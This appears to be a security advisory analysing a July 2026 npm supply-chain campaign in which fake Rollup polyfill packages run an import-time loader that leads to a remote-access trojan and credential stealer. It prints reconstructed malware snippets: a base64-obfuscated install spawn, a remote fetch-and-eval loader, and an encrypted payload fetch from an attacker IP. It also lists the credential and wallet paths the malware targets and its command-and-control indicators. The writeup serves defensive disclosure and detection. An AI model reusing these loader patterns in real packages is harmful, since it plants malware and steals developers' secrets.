critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-829, CWE-94

Affected Surface

Projects that installed or loaded `rollup-packages-polyfill-core` or `rollup-runtime-polyfill-core` during the June 30-July 4, 2026 exposure window, Second-stage npm packages `swift-parse-stream`, `quirky-token`, `react-icon-svgs`, and `rollup-plugin-polyfill-connect`, including environments that now resolve the registry placeholder version `0.0.1-security`, Developer workstations and CI runners that loaded the CommonJS Rollup plugin entrypoint through Rollup, Vite, or adjacent Node-based build and config flows, Hosts exposing browser profiles, crypto-wallet extension storage, clipboard contents, cloud credentials, SSH keys, Git metadata, or AI-assistant configuration directories to Node.js processes

The freshest package-registry story worth adding this week is not another postinstall hook. It is a reminder that dependency execution can start later and look more legitimate. Public reporting published across the last several days shows six malicious npm packages impersonating Rollup polyfill tooling, but the interesting engineering choice is where the real trigger lives: the CommonJS plugin entrypoint, not the package-manager lifecycle.

That distinction matters because many organizations have finally started hardening against install-time malware. The fake Rollup packages sidestep that mental model. They look like ordinary build-tool dependencies, copy the README and repository metadata of the legitimate rollup-plugin-polyfill-node project, and defer the dangerous behavior until Node loads the plugin through require(). If your build, local config, or CI job imported the package, the attacker got code execution inside the same trust boundary as your developer or runner.

Publicly confirmed affected packages

JFrog’s June 30 disclosure and the later July 3-4 writeups agree on the same six-package cluster:

RolePackagePublicly confirmed stateWhat runs
Entry packagerollup-packages-polyfill-coreRegistry history shows new releases through 0.13.8 on 2026-07-01; copies the real Rollup polyfill metadata and READMEOn CommonJS load, installs and invokes swift-parse-stream
Entry packagerollup-runtime-polyfill-corePublic malicious-package reporting explicitly names 0.13.7; registry history continues through 0.14.0 on 2026-07-01On CommonJS load, installs and invokes quirky-token
Second stageswift-parse-streamMalicious-package advisory coverage includes 1.0.0 and 1.0.2; current registry latest is 0.0.1-securityFetches JSON from JSONKeeper and eval()s the model field
Second stagequirky-tokenMalicious-package advisory coverage includes 1.0.0, 1.0.1, and 1.0.2; current registry latest is 0.0.1-securityFetches JSON from JSONKeeper and eval()s the model field
Alternate second stagereact-icon-svgsRegistry latest is 0.0.1-securityUsed as another staging package in the same chain
Alternate second stagerollup-plugin-polyfill-connectRegistry latest is 0.0.1-securityPulled by react-icon-svgs in the alternate staging path

The registry state is part of the story. As of this writeup:

  • the four second-stage packages have been replaced with npm security-holding versions
  • the two Rollup-themed entry packages still present as normal package pages with legitimate-looking README content
  • the package names remain close enough to the real Rollup polyfill project that a skim review can miss them

That means defenders need two different scoping questions:

  1. did we ever resolve any of the six names during the exposure window?
  2. if so, did our build or config path actually load the CommonJS entrypoint?

The backdoor is appended to the CommonJS plugin path

One of the most useful details in the JFrog analysis is that the malware is not smeared across the entire package. The ESM path stays plausible. The appended backdoor lives in dist/index.js, the CommonJS entrypoint:

dist/es/index.js   -> looks benign
dist/index.js      -> legitimate plugin code + appended loader

That matters because a lot of build and config surfaces still end up here:

const nodePolyfills = require("rollup-packages-polyfill-core");

module.exports = {
  plugins: [nodePolyfills()]
};

The package only needs one trusted import path to run. Once dist/index.js executes, the loader decodes a base64-encoded shell command and spawns a second-stage package install:

const CMD = Buffer.from(
  "bnBtIGluc3RhbGwgc3dpZnQtcGFyc2Utc3RyZWFtIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tbm8tZnVuZA==",
  "base64"
).toString("utf8");

// npm install swift-parse-stream --no-save --silent --no-audit --no-fund
const [cmd, ...args] = CMD.split(" ");
spawn(cmd, args, { stdio: "ignore", windowsHide: true });

The paired package rollup-runtime-polyfill-core does the same thing with quirky-token. This is the first reason the incident is technically interesting: it is import-time execution disguised as ordinary plugin resolution, not classic lifecycle-script execution.

That also means newer script-blocking defaults do not fully solve this class of attack. Even if you are tightening postinstall policy, a malicious plugin that runs when Node imports your build dependency can still reach the network, write files, and launch follow-on code.

The second stage is a fetch-and-eval loader hidden behind SVG utility cover

The staging packages swift-parse-stream and quirky-token pretend to be SVG sanitization helpers, but their real control path is short and dangerous:

const reqOptions = {
  url: "https://www.jsonkeeper.com/b/3P9BF",
  headers: { bearrtoken: "logo" }
};

function getPlugin() {
  return function () {
    request(reqOptions, (_err, res, body) => {
      const parsed = JSON.parse(body);
      if (typeof parsed.model === "string") {
        eval(parsed.model);
      }
    });
  };
}

There are several important implications packed into those few lines:

  • the package payload is not fully inside the npm tarball
  • the executed code is mutable after publish because JSONKeeper content can change without a new package release
  • the control surface is remote JavaScript execution inside the importing Node.js process
  • the silent error handling suppresses obvious runtime clues if the staging request fails

In other words, the published package is a delivery wrapper, not the whole payload.

JSONKeeper is only the bridge to the real loader

The JSONKeeper-hosted script does not stop at eval(). JFrog’s recovered chain shows the evaluated code:

  1. checks for analysis and cloud-hosted environments
  2. installs helper dependencies such as axios and socket.io-client
  3. pulls an encrypted response from 216.126.236.244
  4. derives an AES key with crypto.scryptSync(...)
  5. decrypts a roughly 114 KB JavaScript payload
  6. writes it to a temp file named pack
  7. runs node pack

The high-level shape is:

const key = crypto.scryptSync("98cb54c0b4ac259d30c9c1ca1ae87c68", "salt", 32);
const ciphertext = await fetch("http://216.126.236.244/api/service/98cb54c0b4ac259d30c9c1ca1ae87c68");
const plaintext = decryptAes256Cbc(ciphertext, key);

fs.writeFileSync(path.join(tmpdir, "pack"), plaintext);
spawn("node", ["pack"], { cwd: tmpdir, windowsHide: true, stdio: "ignore" });

That layering is why this attack is more resilient than a one-file stealer. The attacker can swap the JSONKeeper stage, rotate the encrypted payload served from the IP, or selectively fail closed in analysis-like environments without changing the visible package README or top-level package metadata.

The remote payload is a RAT, not just a secret grabber

The decrypted pack stage reportedly fans out into multiple local payloads, including scdata and ldata. Public reverse engineering ties those to four major behaviors:

  1. remote access and host control
  2. browser and wallet collection
  3. broad filesystem search and upload
  4. clipboard monitoring

The remote-access side is unusually full-featured for a build-tool compromise. JFrog reports runtime installs and usage patterns for:

socket.io-client
ssh2
node-pty
screenshot-desktop
sharp
clipboardy
@nut-tree-fork/nut-js

That stack supports more than one-shot exfiltration. It gives the operator interactive terminal access, SSH session support, Windows screenshot capture, mouse and keyboard control, and clipboard reads.

The data-theft side is just as broad. The published analysis describes collection from:

Login Data
Web Data
Local Extension Settings/<wallet-extension-id>/*
~/.aws
~/.ssh
~/.gnupg
.env and secret-like files
.git/config
Code/User/History
Cursor/User/History
Windsurf/User/History
.claude
.gemini

That list makes the targeting boundary explicit: this is a developer-environment and CI foothold. Browser data, wallet stores, source metadata, AI-assistant config, and cloud credentials are all in scope.

The registry timeline also hints at active maintenance

One subtle but useful detail from the current npm metadata is that these packages were not one-shot publishes. The entry packages kept moving:

rollup-packages-polyfill-core
  0.13.7  published 2026-06-30T13:17:02Z
  0.13.8  published 2026-07-01T16:32:08Z

rollup-runtime-polyfill-core
  0.13.7  published 2026-06-17T21:19:12Z
  0.13.8  published 2026-06-30T12:49:43Z
  0.13.9  published 2026-06-30T13:39:56Z
  0.14.0  published 2026-07-01T16:57:34Z

For rollup-runtime-polyfill-core, the 0.13.7 pivot is especially suspicious because it is where the dependency surface changes from only @rollup/plugin-inject to a bundle that also includes axios and request:

{
  "@rollup/plugin-inject": "^5.0.4",
  "axios": "^1.18.0",
  "request": "^2.88.2"
}

That is not normal gravity for a Rollup polyfill package. Even without reverse engineering the tarball, the dependency jump is a strong registry-level signal that the artifact stopped behaving like a simple bundler helper.

Why the import-time trigger matters operationally

A lot of package-response playbooks still start with “did npm install run a lifecycle script?” That question is too narrow for this incident. The right sequence is:

package resolved
-> package imported by Node
-> CommonJS loader path executes
-> second-stage npm install runs
-> JSONKeeper payload is eval'd
-> encrypted follow-on stage is fetched and launched

That means some environments may have the package present without having triggered the full chain, while others may have run it indirectly just by starting a build. For incident response, build logs and execution context matter as much as lockfiles.

This is especially relevant for systems that use Rollup-compatible tooling in local developer flows, framework builds, or CI:

  • Rollup projects
  • Vite projects that bridge Rollup plugins
  • library build setups
  • monorepos where shared config imports a plugin at bootstrap time

If the host loaded the CJS plugin entrypoint, assume the follow-on install and remote fetch path executed.

Detection and scoping

Start with lockfiles and installed dependency trees:

npm ls \
  rollup-packages-polyfill-core \
  rollup-runtime-polyfill-core \
  swift-parse-stream \
  quirky-token \
  react-icon-svgs \
  rollup-plugin-polyfill-connect --all

rg -n \
  "rollup-packages-polyfill-core|rollup-runtime-polyfill-core|swift-parse-stream|quirky-token|react-icon-svgs|rollup-plugin-polyfill-connect" \
  package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

Then search hosts and runner workspaces for the published file and process markers:

rg -n "node pack|node scdata|node ldata|vhost\\.ctl|jsonkeeper\\.com/b/3P9BF|216\\.126\\.236\\.244" \
  "$HOME" /tmp /var/tmp .

If you can inspect network or EDR telemetry, prioritize:

www.jsonkeeper.com/b/3P9BF
216.126.236.244:4801
216.126.236.244:4806/upload
216.126.236.244:4809/upload
216.126.236.244:4809/cldbs

And if the package was present, answer the execution question directly by reviewing config imports:

rg -n \
  "rollup-packages-polyfill-core|rollup-runtime-polyfill-core|rollup-plugin-polyfill-node|require\\(|import " \
  rollup.config.* vite.config.* build.* scripts src

The goal is to separate “package ever appeared” from “package was actually loaded in a process that had secrets.”

Response guidance

Treat any confirmed execution as host compromise, not just dependency drift.

  1. Isolate affected workstations or runners before broad credential rotation.
  2. Preserve lockfiles, package-cache entries, temporary payload files, and process/network telemetry.
  3. Rotate npm, GitHub, cloud, SSH, browser-stored, wallet, and AI-provider credentials exposed to the host.
  4. Rebuild CI runners or developer images from known-good bases instead of trusting in-place cleanup.
  5. Audit browser profiles, extension storage, shell histories, and developer-tool config directories because the published collection scope explicitly includes them.

The important lesson is that the trust boundary was never just npm install. In this campaign, the meaningful exploit surface was the moment a build tool loaded what looked like an ordinary plugin. If your review model still treats “package imports inside trusted build config” as low risk, this cluster shows exactly how attackers plan to use that assumption.

References